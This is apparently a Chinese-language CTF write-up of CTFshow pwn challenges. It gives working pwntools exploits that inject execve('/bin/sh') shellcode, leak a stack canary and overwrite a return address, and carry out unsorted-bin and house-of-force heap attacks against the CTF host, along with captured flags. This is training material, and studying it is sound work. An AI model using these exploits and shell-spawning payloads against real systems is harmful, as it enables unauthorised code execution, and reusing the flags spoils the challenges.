可以看到可以用v4来修改v6这个内存地址。

这个只有一次读入肯定是不够的,所以要构造一个循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
text:00000000004006F2                 push    rbp
.text:00000000004006F3 mov rbp, rsp
.text:00000000004006F6 sub rsp, 20h
.text:00000000004006FA mov rax, fs:28h
.text:0000000000400703 mov [rbp+var_8], rax
.text:0000000000400707 xor eax, eax
.text:0000000000400709 mov rax, cs:__bss_start
.text:0000000000400710 mov esi, 0 ; buf
.text:0000000000400715 mov rdi, rax ; stream
.text:0000000000400718 call _setbuf
.text:000000000040071D mov edi, offset format ; "Where What?"
.text:0000000000400722 mov eax, 0
.text:0000000000400727 call _printf
.text:000000000040072C lea rdx, [rbp+var_18]
.text:0000000000400730 lea rax, [rbp+var_10]
.text:0000000000400734 mov rsi, rax
.text:0000000000400737 mov edi, offset aLlxD ; "%llx %d"
.text:000000000040073C mov eax, 0
.text:0000000000400741 call ___isoc99_scanf
.text:0000000000400746 mov [rbp+var_14], eax
.text:0000000000400749 cmp [rbp+var_14], 2
.text:000000000040074D jz short loc_400756
.text:000000000040074F mov eax, 0
.text:0000000000400754 jmp short loc_400778
.text:0000000000400756 ; ---------------------------------------------------------------------------
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: main+5B↑j
.text:0000000000400756 mov rax, [rbp+var_10]
.text:000000000040075A mov edx, [rbp+var_18]
.text:000000000040075D mov [rax], dl
.text:000000000040075F mov eax, [rbp+var_18]
.text:0000000000400762 cmp eax, 0FFh
.text:0000000000400767 jnz short loc_400773
.text:0000000000400769 mov edi, offset s ; "No flag for you"
.text:000000000040076E call _puts
.text:0000000000400773
.text:0000000000400773 loc_400773: ; CODE XREF: main+75↑j
.text:0000000000400773 mov eax, 0
.text:0000000000400778
.text:0000000000400778 loc_400778: ; CODE XREF: main+62↑j
.text:0000000000400778 mov rcx, [rbp+var_8]
.text:000000000040077C xor rcx, fs:28h
.text:0000000000400785 jz short locret_40078C
.text:0000000000400787 call ___stack_chk_fail
.text:000000000040078C ; ---------------------------------------------------------------------------
.text:000000000040078C
.text:000000000040078C locret_40078C: ; CODE XREF: main+93↑j
.text:000000000040078C leave
.text:000000000040078D retn

再汇编中我们可以看到

1
.text:0000000000400767                 jnz     short loc_400773;

我们可以利用这个使得其调回到000000000040071D到达printf的地址进行二次输入。第二次输入(修改jnzjmp)达到无条件转跳,

从而达到循环。

然后利用单字节写入在0x0000000000400769写入shellcode,最后再利用修改jmp转跳到shellcode的地址来执行shellcode。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

# 设置目标程序(根据需求选择一种连接方式)
#p = process('./pwn')
p = remote('pwn.challenge.ctf.show', '28194') # 远程连接

context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./pwn')

text_addr = 0x400767 # 需要修改的关键指令地址

def write_data(addr, data):
"""向指定地址写入数据(实际只修改最低字节)"""
p.sendlineafter('Where What?', f'{hex(addr)} {data}')

# 第一步:修改跳转偏移(保留原指令结构)
# 将jnz指令的偏移改为0xB6(-0x4A的补码)
jnz_offset = u32(asm('jnz $-0x4A')[1:].ljust(4, b'\x00'))
write_data(text_addr + 1, jnz_offset)

# 第二步:修改操作码为jmp(短跳转)
jmp_opcode = u32(asm('jmp $-0x4A')[0:1].ljust(4, b'\x00'))
write_data(text_addr, jmp_opcode)

# 第三步:在text+2位置注入shellcode
shellcode = asm('''
mov rax, 0x68732f6e69622f # "/bin/sh"的十六进制
push rax
mov rdi, rsp # 文件名参数
mov rax, 59 # execve系统调用号
xor rsi, rsi # argv = NULL
xor rdx, rdx # envp = NULL
syscall
''')

shellcode_addr = text_addr + 2
for i, byte in enumerate(shellcode):
write_data(shellcode_addr + i, byte) # 逐字节写入shellcode

# 第四步:修正跳转偏移为+2(指向shellcode起始位置)
corrected_offset = u32(asm('jnz $+0x2')[1:].ljust(4, b'\x00'))
write_data(text_addr + 1, corrected_offset)

# 获取交互式shell
p.interactive()

pwn89

这题我写在[canary](pwn各类题型总结 | 网络幻影)这块

pwn 90

利用第一个read和printf泄露canary

再利用栈溢出将返回地址的最低位覆盖成后门地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

context.binary = './pwn'
context.log_level = 'debug'

# 启动进程
#p = process('./pwn')
p = remote("pwn.challenge.ctf.show",28145)

# 接收欢迎消息
p.recvuntil(b'Welcome CTFshow:')

# 构造第一个payload:40字节填充 + 1字节覆盖Canary最低位
payload1 = b'A' * 40 + b'B'
p.send(payload1)

# 接收数据直到 'Hello ' 后的内容
p.recvuntil(b'Hello ')
data = p.recvuntil(b':\n', drop=True)

log.info(f"Received data length: {len(data)}")
if len(data) < 48:
log.error("Did not receive enough data")
p.close()
exit(1)

# 提取 Canary
canary_leaked = data[41:48] # 我们发的 B 后面7字节
canary = b'\x00' + canary_leaked # Canary 高位补 \x00
canary_val = u64(canary.ljust(8, b'\x00'))

log.success(f"Leaked canary: {hex(canary_val)}")

# 构造第二个payload
payload2 = b'A' * 40 + p64(canary_val) + b'B' * 8 + b'\x3f'

# 调试查看payload
#log.info("Payload2 dump:")
#print(hexdump(payload2))

p.send(payload2)
#gdb.attach(p)
#pause()
# 交互模式
p.interactive()

pwn 145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    * *************************************                           
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Why it can UAF(use after free) ?
* *************************************
演示glibc 的分配机制
glibc 使用首次适应算法选择空闲的堆块
如果有一个空闲堆块且足够大,那么 malloc 将选择它
如果存在 use-after-free 的情况那可以利用这一特性
首先申请两个比较大的 chunk
第一个 a = malloc(0x512) 在: 0x18f5260
第二个 b = malloc(0x256) 在: 0x18f5780
我们可以继续分配它
现在我们把 "AAAAAAAA" 这个字符串写到 a 那里
第一次申请的 0x18f5260 指向 AAAAAAAA
接下来 free 掉第一个...
接下来只要我们申请一块小于 0x512 的 chunk,那就会分配到原本 a 那里: 0x18f5260
第三次 c = malloc(0x500) 在: 0x18f5260
我们这次往里写一串 "CCCCCCCC" 到刚申请的 c 中
第三次申请的 c 0x18f5260 指向 CCCCCCCC
第一次申请的 a 0x18f5260 指向 CCCCCCCC
可以看到,虽然我们刚刚看的是 a 的,但它的内容却是 "CCCCCCCC"
sh
cat ctfshow_flag
ctfshow{3f139a53-9718-4b95-936c-a73c2296849b}

pwn146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Why it can UAF(use after free) ?
* *************************************
申请0x20大小的内存p1 的地址: 0x13ba010
把p1[1]赋值为Printf函数,然后打印出"Hello CTFshow"
Hello CTFshow

free 掉 p1
因为并没有置为null,所以p1[1]仍然是Printf函数,仍然可以输出打印了"Hello CTFshow again"
Hello CTFshow again
接下来再去malloc一个p2,会把释放掉的p1给分配出来,可以看到他俩是同一地址的
p2 的地址: 0x13ba010
p1 的地址: 0x13ba010
然后把p2[1]给改成demoflag也就是system函数

Then get the flag && enjoy it !

$sh
cat flag
ctfshow{5247ed61-a52c-4a9d-8dcd-53b8467a17ec}

pwn147

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Fastbin_dup -- Double free
* *************************************
演示 fastbin 的 double free
首先申请 3 个 chunk
第一个 malloc(8): 0x1b39010
第二个 malloc(8): 0x1b39030
第三个 malloc(8): 0x1b39050
free 掉第一个
当我们再次 free 0x1b39010 的时候, 程序将会崩溃因为 0x1b39010 在 free 链表的第一个位置上
我们先 free 0x1b39030.
现在我们就可以再次 free 0x1b39010 了, 因为他现在不在 free 链表的第一个位置上
现在空闲链表是这样的 [ 0x1b39010, 0x1b39030, 0x1b39010 ]. 如果我们 malloc 三次, 我们会得到两次 0x1b39010
第一次 malloc(8): 0x1b39010
第二次 malloc(8): 0x1b39030
第三次 malloc(8): 0x1b39010
$sh
cat flag
ctfshow{7dbdfb56-d36a-42a8-a804-0e990d4d61dc}

pwn148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    ▄▄▄▄   ▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄            ▄▄                           
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Fastbin_dup_into_stack -- Double free
* *************************************
通过欺骗 malloc 使得返回一个指向受控位置的指针(本例为栈上)
通过 malloc 申请到 0x7ffe9bec2270.
先申请3 个 chunk
chunk a: 0x25dd010
chunk b: 0x25dd030
chunk c: 0x25dd050
free 掉 chunk a
如果还对 0x25dd010 进行 free, 程序会崩溃。因为 0x25dd010 现在是 fastbin 的第一个
先对 b 0x25dd030 进行 free
接下来就可以对 0x25dd010 再次进行 free 了, 现在已经不是它在 fastbin 的第一个了
现在 fastbin 的链表是 [ 0x25dd010, 0x25dd030, 0x25dd010 ] 接下来通过修改 0x25dd010 上的内容来进行攻击.
第一次 malloc(8): 0x25dd010
第二次 malloc(8): 0x25dd030
现在 fastbin 表中只剩 [ 0x25dd010 ] 了
接下来往 0x25dd010 栈上写一个假的 size,这样 malloc 会误以为那里有一个空闲的 chunk,从而申请到栈上去
现在覆盖 0x25dd010 前面的 8 字节,修改 fd 指针指向 stack_var 前面 0x20 的位置
第三次 malloc(8): 0x25dd010, 把栈地址放到 fastbin 链表中
这一次 malloc(8) 就申请到了栈上去: 0x7ffe9bec2270
$sh
cat flag
ctfshow{f7fdefd4-fab4-4a29-96b0-8ccb6f648dc1}

pwn149

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
linkpwn@linkpwn-VMware-Virtual-Platform:~$ nc pwn.challenge.ctf.show 28266
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Heap_Exploitation
* Site : https://ctf.show/
* Hint : Fastbin_dup_consolidate
* *************************************
申请两个 fastbin 范围内的 chunk: p1=0x197a010 p2=0x197a030
先 free p1
去申请 largebin 大小的 chunk,触发 malloc_consolidate(): p3=0x197a050
因为 malloc_consolidate(), p1 会被放到 unsorted bin 中
这时候 p1 不在 fastbin 链表的头部了,所以可以再次 free p1 造成 double free
现在 fastbin 和 unsortedbin 中都放着 p1 的指针,所以我们可以 malloc 两次都到 p1: 0x197a010 0x197a010
$sh
cat flag
ctfshow{2f30058c-812f-4649-9b5d-6298c5144bba}

写着写着发现一直写这个营养价值太低了,先停下把,以后发现了营养再来写。

unsorted bin attack

原理学习:unsorted bin attack就是能把某个地址的值改成很大,但是这个很大的值又不可控。(这里的ctfshow的pwn144涉及到了这个手法,但是不完全,以后碰到在接着总结)

pwn144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 114514 )
{
if ( (unsigned __int64)magic <= 0x1BF52 ) //修改magic大于0x1BF52即可达到后门函数
{
puts("So sad !");
}
else
{
puts("Congrt !");
TaT(); //后门函数
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
__int64 v2; // [rsp+8h] [rbp-18h]
char buf[4]; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[v1], v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}

edit函数没检查修改的chunk的大小可以进行对下一个堆的覆盖。

攻击思路:

  1. 先申请三个堆块,chunk0,chunk1,chunk2; chunk0用来改chunk1,chunk2用来隔开top_chunk
  2. 将chunk1的bk改成magic的地址-0x10(bk指向的是chunk的其实地址,我们要把magic的地址放入data的位置)
  3. 我们把chunk1放入unsorted bin,然后再申请一样大小的堆,就可以将magic改成一个很大的值。

攻击原理:利用 malloc 从 Unsorted Bin 中取出一个 chunk(称为 victim)时,对 Unsorted Bin 双向链表进行的拆链操作。通过篡改 victim->bk 指针,欺骗分配器,让它错误地更新链表,从而将 target 地址误认为是链表中的一个合法 chunk 的起始位置(chunk header),并将 main_arena 中指向 Unsorted Bin 的指针写入这个“伪造 chunk”的 fd 字段。

这里附一个关键步骤详解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
1.准备 Victim Chunk 并放入 Unsorted Bin:

申请一个稍大的 chunk(例如大于 fastbin 的最大值)。

释放这个 chunk,使其进入 Unsorted Bin。

重要前提: 在攻击发生的时刻,Unsorted Bin 中最好只有这一个 chunk(victim),或者有多个大小完全相同的 chunk(且攻击目标是其中之一)。这样 victim->fd 和 victim->bk 都会直接指向 main_arena 中管理 Unsorted Bin 的头部指针 bin->bk 和 bin->fd,而不是其他 chunk。


2.篡改 Victim->bk:

利用堆漏洞(如 UAF、堆溢出)修改 victim chunk 的 bk 指针。

将 victim->bk 设置为 target - 0x10 (在 64 位系统上) 或 target - 0x8 (在 32 位系统上)。

为什么是 target - 0x10 (64位)?

Unsorted Bin 是一个管理 空闲 chunk 的双向链表。

链表中每个节点的指针(fd 和 bk)指向的是 其他空闲 chunk 的 header 起始地址 (chunk header)。

chunk header 在 64 位系统上通常是 0x10 字节(包含 size/prev_size 和 flags 字段)。

我们希望 malloc 返回后,target 地址处被写入那个巨大的值(即 target 被当作用户数据区 mem 的起始地址)。

为了让分配器认为 target 地址处有一个合法的 chunk,我们需要在 target - 0x10 处伪造一个 chunk header。这样:

伪造 chunk 的 header 地址 = target - 0x10

伪造 chunk 的用户数据区 (mem) 地址 = (target - 0x10) + 0x10 = target

所以,我们将 victim->bk 设置为 target - 0x10,就是在告诉分配器:“Unsorted Bin 中,victim 的下一个空闲 chunk(后向 chunk)的 header 位于 target - 0x10”。


3.触发分配 (malloc) - 拆链操作:

申请一个大小合适的 chunk(通常是和 victim 大小相同或满足 victim 分割条件的 size)。这会触发分配器从 Unsorted Bin 中取出 victim。

分配器执行标准的双向链表移除操作 (拆链):

c
// 伪代码表示关键的拆链步骤 (基于 glibc 源码简化)
bck = victim->bk; // 步骤 (a):bck = target - 0x10
bin->bk = bck; // 步骤 (a):Unsorted Bin 的 bk 指针更新为 target - 0x10
bck->fd = bin; // 步骤 (b):关键写入发生在这里!
步骤 (a): bin->bk = victim->bk = target - 0x10

分配器将 Unsorted Bin 的尾部指针 (bin->bk) 更新为 victim->bk 的值,也就是 target - 0x10。这意味着分配器现在认为 Unsorted Bin 中最后一个 chunk 的 header 在 target - 0x10。

步骤 (b): bck->fd = bin

bck 就是上一步得到的 target - 0x10。

bck->fd 表示“位于 target - 0x10 的这个伪造 chunk”的 fd 指针。

bin 是 main_arena 中管理 Unsorted Bin 的头部指针地址(它是一个很大的 libc 地址)。

这是攻击的核心写入点! 分配器将 bin (那个很大的 libc 地址) 写入到 (target - 0x10) + offset_of(fd) 的位置。

在 chunk 结构中,fd 位于 header 起始地址偏移 0x10 字节处(紧跟在 size 字段之后)。

写入地址 = (target - 0x10) + 0x10 = target。

因此,巨大的值 bin (main_arena 地址) 被写入了 target 地址处。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import * 
count=1
gdb_flag=0
if count==0:
r=process('./pwn')
else:
r=remote('pwn.challenge.ctf.show',28127)
if gdb_flag==1:
gdb.attach(io)
def cmd(x):
r.recvuntil(b'Your choice :')
r.sendline(str(x))
def add(size,data):
cmd(1)
r.recvuntil(b'Size of Heap : ')
r.sendline(str(size))
r.recvuntil(b'Content of heap:')
r.sendline(data)
def delete(index):
cmd(3)
r.recvuntil(b'Index :')
r.sendline(str(index))
def edit(index,size,data):
cmd(2)
r.recvuntil(b'Index :')
r.sendline(str(index))
r.recvuntil(b'Size of Heap : ')
r.sendline(str(size))
r.recvuntil(b'Content of heap : ')
r.send(data)
add(0x80,b'aaaa')
add(0x80,b'bbbb')
add(0x80,b'cccc')
delete(1)
target=0x6020a0
payload=b'x'*(0x90-0x10)+p64(0)+p64(0x91)+p64(0)+p64(target-0x10)
edit(0,len(payload),payload)
add(0x80,b'dddd')
cmd(114514)
r.interactive()
1
2
gdb.attach(r)
pause #可以加这个调试看看,这里就不演示了

house of force

原理:

  1. 核心目标: 将 Top Chunk 移动到任意可控地址,从而允许后续从该地址分配“堆块”,实现对该地址及其之后内存的任意读写。
  2. 攻击原理: 利用 malloc 在从 Top Chunk 分配内存时,仅根据用户请求的大小 nb 和当前 Top Chunk 的大小 top_size 来更新 Top Chunk 位置的机制(new_top = old_top + nb)。通过篡改 Top Chunk 的 size 字段为一个极大值(通常是 -1,即 0xFFFFFFFFFFFFFFFF),并精心构造一个超大的 nb,使得计算出的 new_top 指向攻击者期望的目标地址。
  3. 使用前提:
    1. 堆块大小控制自由: 攻击者能够申请任意大小的堆块(malloc(nb) 中的 nb 可以非常大)。
    2. Top Chunk Size 篡改: 存在漏洞(通常是堆溢出)允许攻击者覆盖 Top Chunk 的 size 字段,将其修改为一个极大的值(例如 0xFFFFFFFFFFFFFFFF)。
    3. 地址信息已知(通常需要):攻击者需要知道:
      • 当前 Top Chunk 的地址 (old_top):用于计算所需的偏移量。
      • 目标地址 (target_addr): 希望将 Top Chunk 移动到的地址。
    4. 特殊情况 - 仅需偏移量: 如果目标地址 (target_addr) 本身位于堆内存区域内(例如,想要覆盖堆上的某个特定结构体或指针),那么攻击者不一定需要知道 old_toptarget_addr 的绝对地址。只需要知道它们之间的偏移量 (offset = target_addr - old_top) 即可。这在某些堆布局已知或可控的场景下是可行的。

例题:

ctfshow pwn143

edit()存在漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 edit()
{
int v1; // [rsp+Ch] [rbp-24h]
int v2; // [rsp+10h] [rbp-20h]
char buf[8]; // [rsp+18h] [rbp-18h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020A8 + 2 * v1) )
{
printf("Please enter the length of name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name:");
*(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * v1) + (int)read(0, *((void **)&unk_6020A8 + 2 * v1), v2)) = 0;
}
else
{
puts("Invaild index");
}
}
else
{
puts("Nothing here~");
}
return __readfsqword(0x28u) ^ v5;
}

这个edit函数没有检查输入长度的大小,完全由自己决定,存在堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
void __noreturn fffffffffffffffffffffffffffffffffflag()
{
int fd; // [rsp+Ch] [rbp-74h]
char buf[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
fd = open("/flag", 0);
read(fd, buf, 0x64uLL);
close(fd);
printf("%s", buf);
exit(0);
}

存在后门函数。

所以我利用堆溢出,把top_chunk的size改成极大值,再把v4[1]的地址换成后门函数的地址就可以得到flag了,(为什么是v4[1]呢,因为

执行edit前都会执行v4[1],把v4[1]的地址换成后门函数的地址,就可以执行后门函数了)。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

# 设置运行环境
context(arch='amd64', os='linux', log_level='debug')

# 三种连接方式,按需启用
p = remote('pwn.challenge.ctf.show', 28219) # 远程连接
#p = process('./pwn') # 本地运行
# p = gdb.debug('./pwn', 'b main') # GDB调试

# 加载二进制文件
elf = ELF('./pwn')
# 获取flag符号的地址(目标覆盖地址)
flag_addr = elf.sym['fffffffffffffffffffffffffffffffffflag']

def menu(index):
p.sendlineafter('Your choice:', str(index))

def add(length, content):
menu(2)
p.sendlineafter('Please enter the length:', str(length))
p.sendlineafter('Please enter the name:', content)

def edit(index, length, content):
menu(3)
p.sendlineafter('Please enter the index:', str(index))
p.sendlineafter('Please enter the length of name:', str(length))
p.sendlineafter('Please enter the new name:', content)

def delete(index):
menu(4)
p.sendlineafter('Please enter the index:', str(index))

def exit_prog():
menu(5)

# ===== 漏洞利用流程 =====

# 1. 创建初始chunk
add(0x30, 'chunk0') # 分配0x40大小的chunk(含头部)

# 2. 修改top chunk大小
# 覆盖top chunk的size字段为极大值(0xFFFFFFFFFFFFFFFF)
# 布局: [chunk0数据(0x30)] + [填充(0x8)] + [size字段(0x8)]
payload = b'A'*0x38 + p64(0xffffffffffffffff)
edit(0, len(payload), payload)

# 3. 计算负偏移实现指针回退
# 偏移计算: flag_addr - (top_chunk_addr + 0x10)
# 实际计算: -(0x60 + 0x8 + 0xf) = -0x77 (需根据实际调试调整)
offset = -(0x60 + 0x8 + 0xf)
add(offset, 'trigger') # 申请负大小chunk触发整数溢出

# 4. 在目标地址分配chunk
# 此时top chunk指针已回退到flag_addr附近
# 分配0x10大小的chunk,其数据区将位于flag_addr处
add(0x10, p64(flag_addr)*2) # 用flag地址覆盖目标内存

# 5. 触发flag读取
exit_prog() # 退出程序(可能触发flag输出)

# 获取交互控制权
p.interactive()

再动调中更容易理解

add(0x30, ‘chunk0’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x91fd000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x91fd290
Size: 0x20 (with flag bits: 0x21) //v4

Allocated chunk | PREV_INUSE
Addr: 0x91fd2b0
Size: 0x40 (with flag bits: 0x41) //add(0x30, 'chunk0')

Top chunk | PREV_INUSE
Addr: 0x91fd2f0
Size: 0x20d10 (with flag bits: 0x20d11)
1
2
3
4
5
pwndbg> x/30gx 0x91fd290
0x91fd290: 0x0000000000000000 0x0000000000000021
0x91fd2a0: 0x0000000000400857 0x0000000000400876
0x91fd2b0: 0x0000000000000000 0x0000000000000041
0x91fd2c0: 0x000a306b6e75686 0x0000000000000000 //chunk0
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x0400857
00:0000│ 0x400857 (hello_message) ◂— push rbp //hello_message起始地址
01:0008│ 0x40085f (hello_message+8) ◂— or byte ptr [rax], al
02:0010│ 0x400867 (hello_message+16) ◂— lea rdi, [rip + 0x823]
03:0018│ 0x40086f (hello_message+24) ◂— pop rbp
04:0020│ 0x400877 (goodbye_message+1) ◂— mov rbp, rsp
05:0028│ 0x40087f (goodbye_message+9) ◂— add byte ptr [rax], al
06:0030│ 0x400887 (goodbye_message+17) ◂— pop rbp
07:0038│ 0x40088f (menu+6) ◂— cmp eax, 0x82d
1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x400876
00:0000│ 0x400876 (goodbye_message) ◂— push rbp //goodbye_message起始地址
01:0008│ 0x40087e (goodbye_message+8) ◂— or byte ptr [rax], al
02:0010│ 0x400886 (goodbye_message+16) ◂— nop
03:0018│ 0x40088e (menu+5) ◂— lea edi, [rip + 0x82d]
04:0020│ 0x400896 (menu+13) ◂— 0x83e3d8d48fffffe
05:0028│ 0x40089e (menu+21) ◂— add byte ptr [rax], al
06:0030│ 0x4008a6 (menu+29) ◂— lea edi, [rip + 0x815]
07:0038│ 0x4008ae (menu+37) ◂— 0x8433d8d48fffffe

edit(0, len(payload), payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x91fd000
Size: 0x290 (with flag bits: 0x291)

Allocated chunk | PREV_INUSE
Addr: 0x91fd290
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x91fd2b0
Size: 0x40 (with flag bits: 0x41)

Top chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x91fd2f0
Size: 0xfffffffffffffff8 (with flag bits: 0xffffffffffffffff) //top_chunk的size改变了

由于我的libc版本较高,检查到堆溢出可能就崩掉了就无法继续了。远程可以打通

这里我就接着解释一些数据怎么来的

1
2
3
4
0x30:这个没什么要求换成其他数据也可以
0x38: 0x91fd2f0 - 0x91fd2b0 = 0x40,0x40 - 0x16(chunk0的header) + 0x08(top的pre_size) = 0x30
-(0x60 + 0x8 + 0xf):0x91fd2f0 - 0x91fd290 = 0x60,top和v4的header的距离 ,0x8 + 0xf和强制对齐有关
0x10:v4[0]和v4[1]正好0x10,换成比0x10大的数据都可以

强制对齐操作的公式是

1
nb = ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK
  • **req**:用户调用 malloc(req) 时申请的数据大小(即用户需要的内存字节数)。

